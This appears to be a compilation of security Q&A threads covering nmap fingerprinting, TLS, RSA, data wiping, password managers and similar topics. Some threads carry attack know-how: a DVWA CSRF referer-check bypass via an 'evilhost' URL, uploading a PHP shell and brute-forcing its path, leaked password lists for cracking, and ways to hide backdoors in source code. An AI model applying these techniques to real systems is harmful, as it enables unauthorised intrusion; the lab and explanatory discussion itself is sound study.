To make a simplistic example, you will probably know those mind tricks in which you're asked to get your age, multiply by some number, twist the digit in some way, and get a number which is your age "hashed" and has apparently no relation with the original number. Yet the trickster, upon hearing this hash value, is immediately able to get your age back.


NMAP Scan Returns Odd OS Detection I am new to NMAP but I was using it to troubleshoot some issues I have been having. I ran a scan on a device and I know the device runs some sort of Linux or Ubuntu OS and I was attempting to figure out what that OS was exactly.

When I ran the scan the OS details were as follows:

Device type: printer
Running: HP embedded
OS CPE: cpe:/h:hp:laserjet_cp4525 cpe:/h:hp:laserjet_m451dn
OS details: HP LaserJet M451dn, CM1415fnw, or CP4525

I am 100% certain that this device is not a printer, nor does it have any printer functions as far as I am aware.

Why would NMAP return this information to me?

From the nmap documentation:

  Another cause of duplicate fingerprints is embedded devices which
  share a common OS. For example, a printer from one vendor and an
  ethernet switch from another may actually share an embedded OS from a
  third vendor. In many cases, subtle differences between the devices
  still allow them to be distinguished. But sometimes Nmap must simply
  list a group of possibilities such as Cisco 1200-series WAP, HP
  ProCurve 2650 switch, or Xerox Phaser 7400N or 8550DT printer.

So, it is possible that the target runs an embedded OS similar to the HP models listed in your scan.


How to forge Referer Header in GET method triggered on HTML I'm looking through the CSRF vulnerabilities of the DVWA. I run into the medium level which uses this piece of code to validate if the referer header equals the server name:

if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ).

If so, my query will be accepted and triggered on a database changing login info. I'm doing this through a malicious webpage.

So far I was able to see what the Referer name is on a response header from the server. From my understanding,that php function is asking the following:

Is the value of $_SERVER[‘SERVER_NAME’] present in $_SERVER[‘HTTP_REFERER’]?

So, my first thought was, trying to manipulate the request URL string and embed the referer header on it. (no results) I'm assuming that the if statement is just looking for a pattern. The thing is that I don't know how to pass it and quiet honestly I don't understand if my GET request is present in $_SERVER[ 'SERVER_NAME' ] or in  $_SERVER[ 'HTTP_REFERER' ]. From my investigation I think the referer header cannot be changed in a simple html img tag. So my last question would be: Am I able to forge the string of img tag (HTTP request GET) in a way that the statement evaluates to true? If not, how can I do that in a scenario where a victim always uses this malicious webpage unconsciously?

It's really straightforward!

Tip:

   The check verifies if the requesting URL contains the string localhost, but not if it starts with it. So how do you get the string localhost in the referrer (at any place)?

Solution:

   You need to send the request from a page that contains the target hostname in its URL. So if your DVWA instance is hosted on localhost, you need to embed that string in the URL. Just send the CSRF request from http://evilhost/?localhost. This will produce a referrer header like this:  Referer: http://evilhost/?localhost That's enough to pass the check.


Passive WiFi sniffing without associating to the AP Suppose that I have a WiFi adapter that is in range of several APs and clients, all sharing the same channel and all using WPA2 encryption. I know all their passwords. I'd like to sniff on all of them simultaneously. As I understand, I can decrypt traffic for each client as long as I can capture that client's handshake, I don't actually have to be associated to any of the APs.

I know that I can capture everything using wireshark, or capture with airodump-ng and then decrypt with airdecap-ng (and then somehow go through decrypted packets by hand?), but that's too much manual labor. Or I can use something like bettercap, and it'll do everything I need on the fly, but it wants to be associated to a particular AP, because it is designed mainly as a man-in-the-middle tool.

Are there any other tools that would sniff and decrypt the traffic (to the extent it can be decrypted), reporting e.g. observed HTTP requests in real time?

Basically, you are asking two different things here:

Can I log all wifi traffic which I can physically pick up in a specific location, i.e. where I am within the range of both sender and receiver?
If so: Depending on the amount of networks and traffic, this will yield a substantial amout of raw data (haystack) in which you need to look for whatever you are interested in (needle). Are there any tools which can help me with that?

I don't know of any specific tools, but you could start by writing some scripts which will create a folder for each station you are reading and put files in there. Other than that, look for big data tools. Elasticsearch might be a starting point to identify packets which are of interest to you.


Security of in-house data storage vs. cloud storage What factors should be considered in comparing corporate in-house data storage on internet-connected systems vs. 3rd party cloud storage solutions? Are the latter worthy of consideration where budget is limited?

Encryption would be used for local storage or on top of whatever the cloud storage facility provides.

It is assumed that the data is fairly voluminous (hundreds of TB in multi-GB chunks). It is valuable (think of maybe $100m) commercially and to various governments (but not particularly to hackers), and needs to be accessed from a few different locations.

It will depend on the actual threats and the relative importance of the 3 pilars of data security: Confidentiality, Integrity, Availability.

But here are some pros and cons:

Cost: you are changing buying for renting. Depending on your economic model, and cash flow, one may be more interesting than the other, or may be a mix...

Availability: local storage will require backups, and the company will have to setup and run backup procedures and recovery tests. You should considere the Mean Time Between Failure of the storage system, and the Maximum Tolerable Period of Disruption in your recovery procedures. All that comes out of the box with a cloud solution - provide you choose a serious provider.

Confidentiality/Integrity: if someone can enter in your internal systems, he will be able to access to your data be it local of in the cloud. But You cannot be sure of who really can access data when it resides in a cloud. So a cloud solution will add risks here. Whether they can be accepted depends of the sensitiveness of the data


Suspicious Network Activity - is my system compromised? When using Firefox to open a blank page, I have a weird network connection that shows under Network Activity in Resource Monitor (Windows 7).

The address is: insiders-guide.pacedev.com. A screenshot:

What the heck is this? I have never visited their site before today. Where is it coming from? How do I get rid of it?

I had this same issue about 2-3 weeks ago, with the same site coming up after running several scans with Roguekiller.

Prior to that the browsers would lock up or work very intermittently, (Firefox, Chrome, Edge, IE , Opera, ect.)
Using a web browser in a game, running a VM or Tor worked, but even Tor would lock up after an hour.

This was on Win 10 64bit, with malwarebytes (full), Sophos home and malwarebytes anti-exploit running. No Java or flash installed, Ublock origins and Noscript installed for Firefox, built in flash turned off in Edge.

Uninstalling the browsers and resetting IE, then reinstalling other browsers would work for maybe a day before the issue re occurred. (Even removing IE and using other browsers on fresh installs, same issue!)

Malwarebytes blocked connection attempts to the pc 5+ times a day while this was going on, after roguekiller picked up the hooks and reg keys, no more issues ;)

Nothing was picked up on scans (MB, Sophos, or roguekiller) until the most recent update for roguekiller however! Drove me crazy, I ended up making live cd's to boot from to surf with.
Browsers did work in safe mode btw.

I did assume that realty company had been breached or was just a fake when I saw the address as well.


Hiding backdoors in Open Source code in other languages than C and C++? I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in plain sight, which is very difficult and unlikely to be spotted by people looking at the code.

Is this an exclusive issue with C and by extension with C++ as well?

Is this an issue for lower level languages, let's say assembler code?

Is this an issue, with higher level languages, let's say python code?

Edit:
To avoid confusion with Ken's work, I removed his quote.

This is about the easiness of "hiding a backdoor in plain sight", namely in the source code. We are no longer talking about compilers, but about human brains. The whole idea is to make the source code "look legit" for a human code inspector, who do not have time to really delve into details, and who uses his human mind for the task, with all the quirks that a human mind can have.

Since this is psychology, there will be no clear-cut, mathematical answer. However, we can somehow argue that it has a lot to do with language complexity. To "hide in plain sight", the attacker must do two things:

Use as backdoor an obscure rarely used sub-feature of the programming language.
Make use of this sub-feature in a code structure which still looks "natural", as in: "an honest programmer would have written code which that structure".

At one extreme, you have assembly. Assembly is not complex. Assembly is very "poor": it works over a few constructions (just "jumps") and a restricted list of opcodes. The code writer may find some rarely used opcodes or opcode behaviours, but he will have a hard time fulfilling the second condition, because "normal assembly code" must have a lot of structure that the programmer enforces on himself, because otherwise his task becomes infeasible. Any use of a rarely used opcode will appear as such; the code will look funky, and this will raise alarms in the brain of the code inspector. Thus, a failure at hiding.

At the other extreme, you have quite complex languages such as, say, C# or Python. There are a lot of subtle details and behaviours (in particular, operator overload in C# can be used to trigger a lot of things from code which looks "normal"). On the other hand, such languages tend to have a very "deterministic" specification, with no or very few undefined behaviours, which helps the code inspector.

Thus, C and, even more so, C++, are a soft spot for backdoor hiding. They combine an awful lot of undefined behaviours with relatively complex syntax games. C++ adds many extra twists to the syntax, and many ways to add "hidden behaviours" (operator overloading, implicitly called constructors and destructors...).

For these reasons, we could claim that different languages are differently vulnerable to plain-sight-hiding attacks, and C++ is very vulnerable, while bare-bone languages like Assembly are less vulnerable through a poorer syntax, and higher-level languages are less vulnerable through a stricter language specification on corner cases.

All of this is of course very debatable. As I said, it is about psychology, and when it comes to analysing how human minds work, each human will think about his own mind first. Since not everybody thinks in the same way, answers are bound to vary.

Also, I cheated. My argument above about how assembly makes it harder to hide backdoors in plain sight is valid only for a code inspector with a lot of time on his hands. To implement a given, non-trivial task, you usually need a lot more lines of code in assembly than in C++. This makes code inspection much slower in assembly if we count it per task.

Indeed, if we set the situation such that the code inspector has a fixed time budget for going through the source code of an application which fulfils a given set of functionalities, then the code inspector will be more likely to find backdoors if he gets the C++ source code than if he gets the assembly. Indeed, given the C++ source code he can compile it to assembly (the -S flag on GCC...), so his task cannot be harder with C++ than with assembly.

So defining the exact question is important. When we talk about hidden backdoors and code inspectors, we must clearly state what kind of code inspection is performed, for how long and under what conditions. Otherwise, just about any answer can be given and justified.

Answer to the original version of the question

The whole point of the Ken Thompson is that the backdoor is not in the source code -- it is in the compiler, and more precisely in the compiler's executable file, not in the compiler's source code as well.

With more details: there is an "evil code" E1 which, when inserted into the system login application, grants access to the attacker for some "hidden" password which the attacker knows. There is another evil code E2, meant to be resident in the compiler's executable file. E2 does two things:

If the file which is being compiled is the source code of the system login application, then it inserts E1 into the produced executable.
If the file which is being compiled is the source code of the compiler itself, then it inserts E2 (i.e. itself) into the produced executable.

That way, neither the source code of the system login application, nor the source code of the compiler, contains anything evil. The evil code E2 propagates a bit like a virus, by infecting executable files (but it is picky since it infects only the compiler's executable file, and only when that executable file is being produced by action of the compiler). A secondary feature of that evil code E2 is to plant the evil code E1 into the system login application.

Since there is nothing evil in any source code, whether the source is "open source" or not has no relevance whatsoever. That's the whole point of planting the backdoor in the compiler: so that the honest source code needs not be modified in any way.
Nothing here is specific to C or C++. It would equally apply to every programming language which is compiled; and a similar backdoor could be devised for interpreted languages too (evil code E3 in interpreter modifies behaviour of a script upon execution; evil code E4 is planted in the compiler in order to replicate itself into new compiler instances, and to plant E3 into the interpreter when the interpreter itself is compiled).

If that is still unclear to you, go read the Dragon Book (available for free from any decent University library) until you grasp the notion of compilation.


How to keep an eye on upgrades, patches and security issues for used open-source libraries? For a project with many open-source libraries as a part of it, I began to search for information source concerning all upgrades and security issues. The kind of sources I gathered are either announcement list or issue/bug tracker in the form of RSS feeds or Mailing List, as either could be retrieved and parsed in a way or another, and then gathered in one place.

The problem is, for a third of those libraries, none of this is available. So I was wondering, aside from RSS/Atom feeds or Mailing List is there any other parsable sources I should be tracking?

EDIT:

We've recently started to make an audit manually, trying to list the known vulnerabilities of the open source libraries we use. For that it was decided to use security advisory sites such as Secunia, Vupen, and NVD, as the information is generally formatted in a relevant way. However we want to automate the process in the future.

Would parsing such sites be easier and/or bring more relevant information when compared to other sources? I know for a fact that Secunia doesn't take so kindly that a script sniff on their sites, and wondered if it would be the case for other security advisories, or if such hurdle could be encountered with other kind of sources.

The Open Source Vulnerability Database (http://osvdb.org/) is useful.
See also the answers to this question

If the libraries are among the tens of thousands of Ubuntu packages, the Ubuntu CVE tracker provides good information:

http://people.canonical.com/~ubuntu-security/cve/

The code to parse the Mitre CVE database and the NVD (National Vulnerability Database) for new vulnerabilities and track security issues is at https://launchpad.net/ubuntu-cve-tracker

You can see the README and browse the code and parsed CVEs at

http://bazaar.launchpad.net/~ubuntu-security/ubuntu-cve-tracker/master/files

and you can easily follow it with the open-source "bzr" distributed source control system.

Security and packaging problems are unusually complicated for Java as discussed at http://fnords.wordpress.com/2010/09/24/the-real-problem-with-java-in-linux-distros/


Role-based authorisation and TLS I want to implement role based authorisation in my TLS connections. I.e. when my client authenticates with the server I want them to have certain privileges based on their role.
Are there any provisions in the TLS protocol which facilitate this?
Thanks!

TLS only cares about protecting the communication between two parties and has also an optional mechanism for authenticate the client (i.e. client certificates). The latter can be used for basing the authorization of the authenticated client on. But apart from that TLS itself does not provide anything to help with the authorization itself.


scp/sftp - how to securely send a file without needing a client privkey? As I understand asymmetric encryption, the Private Keys - one held by the client, one held by the server, are used to decrypt incoming messages only. respectively. So to me, I don't see a technical reason why an ssh-backed ftpd couldn't receive files anonymously, that are encrypted for its's reading only.

Is it possible to authenticate a scp/sftp transfer - some other way than with a challenge for a client privkey; and establish a one-direction, secure, file transfer (upload)? And assuming it is possible, can an example configuration of openssh-server be exemplified please?

P.S. I don't have a practical application for this, I mostly want to confirm my understanding is correct so I can better educate my peers on the underlying technology, using the familiar ssh foundation as an aid.

You probably mixing up a bit what is happening between client and server when they communicate over encrypted channel (ssh or tls it doesn't matter that much - the pattern anyway involves two kind of ciphers).

In essence, there are two kinds of cryptographic constructs that used: symmetric and asymmetric ciphers (I would omit describing other nitty-gritty details involving integrity of a data etc).

What is generally happening, is the following (example ssh with key verification and password log in disabled):

Asymmetric crypto

Client has a private key (usually a file called id_rsa) and server has a corresponding public key (located in a known_hosts file).
When client want to ssh into a particular host it establishes a TCP connection to it sending it's own username. Server matches a corresponding public key from known_hosts to this particular username and sends some kind of challenge back to the client.
This challenge is solvable only with a corresponding private key that client should have on it's machine. Client solves the challenge and sends the results back to the server which verifies the solution and lets user log in (or rejects the client if the solution is not correct - which means the private key is wrong).

After that point, if the user was granted an access, symmetric crypto starts to play it's role.

Symmetric crypto

User was authenticated by a server and session key is generated on server side which then send to a client encrypted with it's public key (again from a known_hosts).
This session key is a secret key of a some much faster then the asymmetric crypto symmetric cipher (i.e. AES). This key then is used to encrypt all the traffic between both sides as it was securely passed to a client and both sides now has that secret known only to them.
After the end of a session (user logs out) the session key plays no role and is not used for any other session (it's generated randomly and a probability that the same key would be generated twice is negligible).

It's a very simplified description but it would at least make things a little bit more clear.

What happens is that asymmetric crypto only authenticates a user and helps to exchange secret key in a secure way. All the communication then is encrypted with the same session secret key of some symmetric cipher.

As of your question about omitting storing a secret on a client and using some secure one-way transfer:

ssh is a protocol of communication and the described above pattern is a part of it's 'mode of operation'. It can't be changed (correct me if I'm wrong)
if you want just to push some data to a remote host without even authenticating the sender (which is strongly discouraged) you can figure out something like a shell script that encrypts data with some public key (client side, gpg is a way to go) and sends it over a telnet to a server which decrypts it with it's private key (again gpg).

Though the above described pattern could be made secure with enough amount of effort (hmac, digests, signing etc) it really makes little sense to bother with all of this, as you still have to store secret somewhere (this time it's on a server side, or even on both sides if something like hmac is used).


Modern high quality password dictionary Has anyone come across any good password dictionary lately? Some of the lists I found dated back to 90's! Some are simply too big that I doubt their quality. There appears to be some work by someone for a paid list though at http://dazzlepod.com/uniqpass/ but I am looking for something hopefully free!

The best site I found for this is SkullSecurity. It does have huge collection of passwords. Some were leaked during real attacks, so they are pretty recent.


Separate SSL authentication and other traffic For secutiry reasons, I would like to separate SSL handshakes and all other Internet traffic, and send them over two separate networks.

Is there already a way to do this, or do I need to write it myself? If so, any tips on doing it?

Though I am completely at a loss about how such splitting could improve security in any sensible way, it is reasonably easy to distinguish the handshake from the rest of the traffic in a SSL connection. In SSL, everything is sent as records, with a regular format:

content type (one byte)
protocol version (two bytes)
record length L (two bytes, big-endian)
record payload (exactly L bytes)

To achieve what you want, you would look at the first header byte, which encodes the type of record: this value is equal to 20, 21, 22 or 23, with 23 meaning "application data" while the other values are for administrative processing (the handshake messages use type 22, and briefly 21 for the security parameter switching; alerts use type 20). All of this is specified in section 6 of RFC 5246.

With this knowledge, it is rather straightforward to implement a filter that sends records with type 23 one way, and records with other types another way. What can be difficult is interfacing with OS and applications; especially if you want to do that for existing applications that you cannot modify in any way. Also you will need both client and server to implement the splitting "over two separate networks".

I am not aware of any existing tool that does this job.


How to effectively save database password inside desktop application? Suppose we are in the field of desktop applications which need to store their data in a database. How do I store the password for this database avoiding the most obvious mistakes, which are:

1) hard coding the database password inside the code (cited as #21 coding horror under „Hard-coded passwords“ inside http://www.codinghorror.com/blog/2009/01/top-25-most-dangerous-programming-mistakes.html)

2) encrypting the password of the database and storing it in a file, you would shift the problem to: „where do I store the password which encrypts the database's password?“

3) using a remote database server and an n-tier architecture where the program doesn't directly access the database but authenticates with another layer which grants each operation and forwards it to the database layer. Everything is encrypted through ssl and authentication is done via a digital certificate (so effectively using public key cryptography).

Number 3 is actually a solution but it doesn't apply to desktop applications which need to work offline!

Someone on another similar question answered that to „give untrusted users trusted access to a system“ is unfeasible that's why DRM never worked, however he didn't cite a proved study or a proved theorem.

Notice the same problem happens if we want to encrypt the database: where do I store the password with which I encrypt a database in a desktop application?

Can anybody shed some insight?
Thank you

NOTE: this same problem is discussed in CWE-259: Use of Hard-coded Password
but no definitive solution is explained

Any secret key that you embed in a program can be recovered by a person who has full access to that program, the best you can do is make it time consuming to do so.

  But let's say you could make the secret totally unrecoverable by analysing the binary.

The user could perform dynamic analysis by running the program while monitoring it's memory and wait for the key to be constructed.

  OK let's say you have managed to use a key without ever building it completely in memory somehow.

The key still has to be used for something, and the user could examine that mechanism and use the anti-forensic key in the same way.

  Let's say the mechanism for constructing and using the key is totally obfuscated beyond recovery.

The key still has to depart your program in order to be useful outside it. I could just masquerade as a database waiting for my secret key to be passed to me, I wouldn't have to analyse your program at all. Any form of encryption you use would have to be readable by my database software, which I am also in complete control of regarding keypairs and such.

  But I have written my own database format which is loaded into the same program as the key which you can't read.

So your program is completely locked down and everything happens inside. Except it doesn't - you will load dynamic libraries which I could edit thereby changing the behavior of your program.

Ultimately there is nothing that runs on my machine that I do not have final control over. This is not something you can avoid.


Why are drives overwritten three times when being disposed of? I am looking at the secure disposal of old flash drives, and one of the standards I have come across says that they should be overwritten three times. Why is one time not enough? I assume doing the process three times is more expensive than doing it once.

Overwriting the data is either insufficient or useless, depending on how things are done internally by the device itself. Flash memory has a limited life, expressed in terms of read/write cycles. To sum it up, you can have one block of data full of zeros; bits can be changed from zero to one individually, but the reset to zero can be done only for a complete block at a time, and if you do it more than 10000 times or so, then the block fails down. Blocks have a size of a few dozens of kilobytes.

Thus, if Flash-based drives simply used a direct mapping from the logical sectors (as seen from the computer) to the Flash blocks, they would be slow and unreliable: each write of a sector over a previous value which is not all-zeros would entail reading the whole block, clearing it, then writing it back with the new sector value. Instead, Flash drives use wear levelling methods in which the writes get spread throughout the device blocks, so as to both minimize the number of required block clearings, and avoid having some blocks more used than others. Moreover, Flash drives often have more physical blocks than their nominal size, both to give some breathing room to the wear levelling algorithms, and to allow for remapping a few failed blocks, thus augmenting the drive lifetime when blocks begin to break down.

A consequence is that you cannot be sure, when you overwrite the whole disk, that you really wiped out all the data on the physical medium. In fact, if wear levelling is applied by the drive, then it is pretty much guaranteed that a single overwrite will not overwrite all traces of the data at the physical level, because there are more physical blocks than the logical total drive size.

Using three successive overwrites is an attempt at ensuring a more complete coverage. But it relies on some assumptions on how the wear levelling works, which may be unwarranted since there is no standard. Since the wear levelling is entirely handled by the drive itself, in its firmware, there is no reason for such algorithms to be standardized or even documented; one may even be so bold as to point out that wear levelling algorithms are part of the trade secrets of drive vendors, so they are unlikely to be all documented. Whether three overwrites are more than need, or, to the contrary, insufficient to ensure data destruction, is simply not known.

Moreover, if the drive remaps fails block transparently, then a failed block still contains mostly intact data, and since the firmware will thereafter avoid using that block, that data will remain in place until the end of times, regardless of how many overwrites you perform. That failed block is permanently out of reach of the host computer. (Note that this argument also applies to magnetic disks, but remapping of failed sectors is a rare event for classic disks, whereas it is very common in Flash drives.)

So the main benefit of the three overwrites is psychological. It is a very visible procedure that helps convince managers and auditors that security is happening, thereby justifying the corresponding budget line. If you want to really wipe out an old drive, burn it.


Why are the first 16 bits of the message digest not encrypted in PGP? The first 16 bits of the message digest in a PGP signature are translated in the clear.
As we know, sending something in clear text does not sound like a very good idea from a security point of view. But PGP does this. Why clear text is used in this way in PGP?

RFC 4880, the standard for the format of PGP messages, says:

The high 16 bits (first two octets) of the hash are included in the
Signature packet to provide a quick test to reject some invalid
signatures.

However, you are thinking it wrong. Signatures are not encryption, and signatures are not encrypted. In fact, given the value of the public key (which is public) and the signature itself, one can recompute the complete hash value of the message which is signed (at least for RSA, which is technically known as a signature algorithm with recovery). The first 16 bits are just a helper so that software can avoid many modular exponentiations when it is looking for the "correct" public key among a set of candidates; they save a few milliseconds worth of computation, that's all.

A generic note is that signatures can leak information on that which is signed; so if you sign and encrypt a confidential message, then you should, conceptually, either sign the encrypted message, or encrypt the signature along with the message contents as well. OpenPGP uses the latter method.

When a message is just signed, not encrypted, then it makes no sense to hide the message hash, since the message itself, by definition, is transmitted as cleartext.


Strength of RSA encryption with or without a public key An RSA key is actually a key pair: a public key and a private key. The public key is usually uploaded to a server. If I understand correctly, in this situation, attacking RSA amounts to solving a math factoring problem, for which there are (currently theoretical) efficient quantum algorithms.

My question is, what if the RSA public key is not actually made public at all? Is it as easy to attack such "purely private" RSA encryption than it is to attack "normal" RSA encryption, in which the public key is known? Is the public key somehow embedded in the RSA encrypted message? If not, do the quantum algorithms need the RSA public key to work?

If purely private RSA is harder to attack, how does purely private 2048/4096 RSA encryption compare to 128/256 AES?

Edit: I understand that:

RSA is usually only used to encrypt a random "session key", which is then used for symmetric (say, AES) cryptography. E.g., in OpenPGP: https://tools.ietf.org/html/rfc4880#section-2.1 .
The extra RSA layer introduces an extra vulnerability: one can attack it by breaking either RSA or the session AES.
If the extra RSA layer uses a known public key, it is "much easier" to break that, at least in theory, using future quantum algorithms, than it is to break AES.

What I'm trying to understand is, how does "purely private" RSA + session AES compare with AES alone (assume the same AES key size).

Edit 2: To avoid unnecessary tangents, I added an extensive clarification of what I'm trying to understand here. The question there is "Is there a hacky way to remove the unnecessary RSA?". The OP here asks "Just how bad is the unnecessary RSA?"

No widely used system uses RSA to encrypt data. RSA is slow. Really slow. RSA is used together with an symmetric cypher like AES. A random key is created for AES, the data is encrypted with AES and that key. Then the Key is encrypted with RSA and thrown away.

If you can crack the symmetric cypher (usually AES nowadays) you can also break the hybrid encryption. In practice, there is no advantage for you. In one case, the attacker has to break AES. In the other case, he can either break AES or RSA to get your message!

I don't think there is a thorough analysis of the RSA strength without the publik key known. It depends on the exact software/format you use, if the public key is embedded or not. It is quite possible to not embed it. But in the end, RSA just has no use case when it is not used as asymmetric cryptography.

If RSA is secure and no fault is found, then it still can be decrypted if you have the public key and can factorize it. For AES this isn't true. If no flaw is found in AES, it cannot be cracked. It is just possible to brute-force attack it. This means trying all keys and check if a valid message is output. Depending on the format of your message, even deciding if the message is valid is very hard.

If you don't need asymmetric cryptography, use symmetric cryptography!


Pentesting file Upload feature The file(resume) upload feature is accepting any sort of files. I have uploaded the PHP shell into it. How do I again access to that uploaded file? I'm bruteforcing the web directory to check for uploaded file path. Is my approach correct?

Your approach is fine for finding vulnerable systems, but it's likely not vulnerable.

The file you uploaded isn't guaranteed to be in any publicly accessible directory. It may be stored outside of the document root of the web server, then read via a PHP script that streams the content back to you.

In such a case, there's no way to make the web server run the script as a PHP script, because the PHP module won't execute anything outside of its base directory (document root).


How does MalwareTech make the WannaCry ransomware live map? The media keeps updating us on the number of WannaCry infected PCs. Are they all using the information from MalwareTech? How does MalwareTech get this information?

He owns the most of kill switch domains (used to stop the malware execution). One of which I am know to is this where he says "Upon running the sample in my analysis environment I instantly noticed it queried an unregistered domain, which i promptly registered."
The number of DNS requests he is getting, he notes that using some auto-script and represents here. He is also getting the ip geolocation on a real-time basis and hence he is able to represent it on a map.

Maybe he is using something more than this to detect if it is from a browser or not to get the actual data.


Should I change the password of my password manager regularly? A password manager can store lots of sensitive information like passwords, pins and so on. To access this data, we should use a strong password/passphrase in order to protect our data. This password is more or less a master password.

Is there any reason why I should change this password regularly?

In my case, I use KeePass with a strong password that is only known by me. Furthermore, I would like to exclude password manager solutions like LastPass (who got hacked lately) since online accounts should have changing passwords.

You should change your password when you suspect that the old one has been compromised. This is not a question of password age; thus, we are not talking about a regular password change, but about an urgent, context-dependent password change.

Apart from a situation of (suspected) compromise, changing your password does not buy you much in terms of security. On the other hand, changing your password regularly means that you will need to invest more effort in memorizing the new passwords. This may induce you into choosing passwords that are easier to remember, possibly at the expense of randomness. In that sense, regular password change can induce a decrease in security, and thus should be avoided.


Append query string parameters to form.action or a.href using Javascript? I have an HTML page which is accepting any number of query string parameters, which I need to pass on to the next page the user visits by clicking links on my page. Basically, if the user comes to

http://example.com/some/page.html?param1=123&param2=567&smthelse=abcde

Most of these query string parameters have tracking nature. I need to make sure that when the user clicks on certain links on this page or submits certain POST forms, all these query strings are passed along to the subsequent page.

If possible I am looking to avoid whitelisting/blacklisting query string parameters which should be allowed to be passed to the next page, as it is a lot of maintenance. Instead, I am planning to use jQuery/Javascript to dynamically read all query strings, and update anchors' href attributes and forms' action attributes to append the entire window.location.search value to these URLs.

Example (jsbin):

$(document).ready(function() {
    var pageQsParams = window.location.search.split('?')[1] || '';

    var newLinkUrl =   $('.link').attr('href') + (pageQsParams ? '?' + pageQsParams : '');
    $('.link').attr('href', newLinkUrl);

    var newFormUrl =   $('#form').attr('action') + (pageQsParams ? '?' + pageQsParams : '');
    $('#form').attr('action', newFormUrl);
});

is this code vulnerable to XSS or phishing? Any other security vulnerability? Any better way to do it?

This code is safe.

jQuery.attr isn't escapable via special characters, since it uses a setAttribute internally.

Since you set the href / action attributes, you must also check that the URL can't be manipulated by an attacker.

Since you prepend ? to the query string, it will start the query string part in the final URL, and prevent any path/host manipulation, as long as the previous URLs were well-formed, and used a http or https scheme.

If the previous URLs used the javascript scheme, then a XSS vector would have been possible.


SSL protocol issues on OS X and iOS I have a PfSense box as a UTM, running snort among other things. I started noticing that when MacBooks and iPhones/iPods connect to my network, the snort log gets flooded with this message:

  (ssp_ssl) Invalid Client HELLO after Server HELLO Detected

It seems like this must be in the network stack somewhere, as it happens regardless of which application is using the SSL connection.

Does anyone know why this is, or whether there is any reason to be concerned?

I'm going to quote this post from SecLists.org

  Those alerts are supposed to fire when an SSL Client Hello is seen in
  a session, but the SSL preprocessor already saw both a Client Hello
  and a Server Hello. The alerts were added to the preprocessor as part
  of Snort 2.9.0.

The best thing I've seen to do is suppress the specific alerts. This tutorial on Youtube is quite informative on how to do so.


What are the pros/cons of using a threat detection system? What are the pros/cons of using a threat detection system for a web app (like OWASP's AppSensor)?

What does a properly implemented threat detection system do and how does it behave when it detects an attack?

What else do I need to know?

Pros

Instant feedback, handling the issue before the damage is done.
Knowledge of what is happening in your web app. For example, who is where and other information.

cons:

Takes more resources.


Can't generate a CSR request with CA set to true I'm using this config file:

[ req ]
default_bits        = 2048
distinguished_name  = req_distinguished_name

req_extensions = v3_req

[ req_distinguished_name ]
commonName          = John

[ v3_req ]
basicConstraints = CA:TRUE

And the following command:

openssl req -config openssl.conf -new -newkey rsa:2048 -nodes -keyout out.key -out out.csr

When attempting to decode the CSR (decoder) to make sure everything is expected, I'm only seeing the following properties:

Property    Value
Subject CN = John
Key Size    2048 bits
Fingerprint (SHA-1) XX:XX:XX...
Fingerprint (MD5)   XX:XX:XX...
SANS

Why am I not seeing the CA set to true?

Why am I not seeing the CA set to true?

Because you are not looking at the part where it shows this. Look further down at the CSR Detailed Information:

    Requested Extensions:
        X509v3 Basic Constraints:
            CA:TRUE

If you want to know why these information are not included in the summary and properties section of the output than you have to ask the author of the website/tool you are using.

Apart from that, you don't even need such external tool to look at the CSR details. openssl req which you've used to create the CSR is perfectly fine to also look at the CSR details: openssl req -in out.csr -text.


Who is responsible for choosing a TLS cipher suite - the client or the server? If a client presents a higher cipher suite during ClientHello yet eventually negotiates a lower strength cipher suite within the same protocol version, though a higher cipher suite is available on both client and server, who is responsible?

According to How does SSL/TLS work? it is ServerHello which ultimately decides the cipher suite.

From that post:

  To remember: the client suggests but the server chooses. The cipher
  suite is in the hands of the server. Courteous servers are supposed to
  follow the preferences of the client (if possible), but they can do
  otherwise and some actually do (e.g. as part of protection against
  BEAST).

To understand this question better, an example is provided below.

Example With Firefox:

There is a Client (A) and a Server (B).

Client (A) is a Firefox version 65 browser.

Server (B) is a web server serving a site over https.

Behavior:

Connections to Server (B) @ site.server.com are being negotiated from a stronger TLS 1.2 cipher suite to a less strong TLS 1.2 cipher suite, even when a stronger cipher suite is available on both the client and the server. This behavior is confirmed on Firefox 65.

Steps to Reproduce:

Disable TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 and all other weaker cipher suites in Firefox then reload site.server.com The site will load with TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384.
Enable TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 while leaving TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 enabled as well then reload site.server.com.

The weaker cipher suite will be chosen.

In this scenario, who was responsible? ClientHello or ServerHello

The client sends only what ciphers it supports in the order of their preference. The server then selects one of these ciphers - which means only the server ultimately decides which cipher gets used.

It is fully up to the server which cipher suite gets selected from the offered ones, i.e. the server might take the client preferences in account but might also completely ignore it. In fact, many servers have a configuration option which allows the server to use either the cipher preferred by the client or the cipher preferred by the server.


SFTP server with storage encryption I'm looking for an unusual solution that uses the SFTP server for data transfer but said SFTP server also should act an encryption proxy i.e. all the data it stores on the server-side should be encrypted. Although I could use host (OS-wide) encryption it is not gonna be effective during runtime if the hoster I use decided to peek at it or will be forced by 3rd party or crappy government.
I did some googling but the only thing I found was: https://github.com/libfuse/sshfs
Problem is I don't want any custom clients, I want to hide ANY implementation from the client, it should be just your basic SFTP you can use anywhere, even on your microwave, let alone phone or notebook.
This variant:
https://serverfault.com/questions/887167/sftp-with-data-encryption-at-rest
seems useable but again, at runtime, it only protects against other normal users (which I don't have).

I'm looking for an unusual solution that uses SFTP server for data transfer but said SFTP server also should act an encryption proxy i.e. all the data it stores on the server side should be encrypted. Although I could use host (OS-wide) encryption it is not gonna be effective during runtime if the hoster I use decided to peek at it or will be forced by 3rd party or crappy government.

Where do you plan to store the encryption keys? What stops someone with access to the hardware from peeking at the files, using the encryption key?
If it's a virtual server, it's even more trivial for the hoster; they can take a snapshot of memory and the complete state of machine, including key material.
Heck, they could even throw up a proxy in front of your machine, with your ssh keys, and store a copy of the data transmitted, before encryption, without you ever being any wiser.
Refer to the 10 immutable laws of computer security:

Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore

